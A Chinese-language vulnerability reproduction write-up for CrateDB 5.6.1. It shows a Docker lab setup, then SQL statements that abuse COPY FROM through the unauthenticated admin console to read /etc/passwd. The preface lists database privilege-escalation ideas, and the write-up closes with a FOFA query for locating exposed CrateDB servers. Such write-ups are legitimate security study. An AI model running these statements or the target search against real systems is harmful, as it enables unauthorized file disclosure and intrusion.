目录
前言
简介
编辑
环境搭建
漏洞复现
前言
本次介绍的漏洞不同与以往, 本次洞更多是适用于利用数据库提权。
利用数据库的导入导出数据的功能,我们往往可以将内部的一些敏感文件如/etc/passwd导入到数据库进行查看。也可以将数据导入到一些特定的目录进行提权,如启动脚本任务,替换/etc/passwd,公钥文件.....,。这些都是数据库常规的提权思路,本次介绍的CrateDB就存在这样问题,除此之外它管理页面直接暴露在前端,无需身份校验。攻击者便可以直接执行sql语句。
简介
CrateDB 是一个分布式且可扩展的 SQL 数据库,用于近乎实时地存储和分析大量数据,甚至可以进行复杂的查询。它与 PostgreSQL 兼容,并且基于 Lucene。
CrateDB数据库中有一个COPYFROM函数,用于将文件数据导入到数据库表中。该功能有一个缺陷,通过身份验证的攻击者可以使用COPY FROM功能将任意文件内容导入到数据库表中,从而造成信息泄露。
官方文档参考
CrateDB Database Product Overview
Data manipulation — CrateDB: Reference
环境搭建
直接运行docker
sudo docker run --publish=4200:4200 --publish=5432:5432 --env CRATE_HEAP_SIZE=1g --pull=always crate:5.6.1
如果出现,下面的报错
[1]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] by adding vm.max_map_count = 262144
to /etc/sysctl.conf
or invoking sysctl -w vm.max_map_count=262144
执行以下命令来临时修改 vm.max_map_count
的值:
sudo sysctl -w vm.max_map_count=262144
漏洞复现
打开前端管理页面
进入控制台执行sql命令
依次执行如下命令
CREATE TABLE info_leak(info_leak STRING); COPY info_leak FROM '/etc/passwd' with (format='csv', header=false); SELECT * FROM info_leak;
1.CREATE TABLE info_leak(info_leak STRING);
2.COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);
3.SELECT * FROM info_leak;
成功查看到etc/passwd文件 漏洞验证成功。
附赠fofa语句
FOFA搜索语句
title="CrateDB"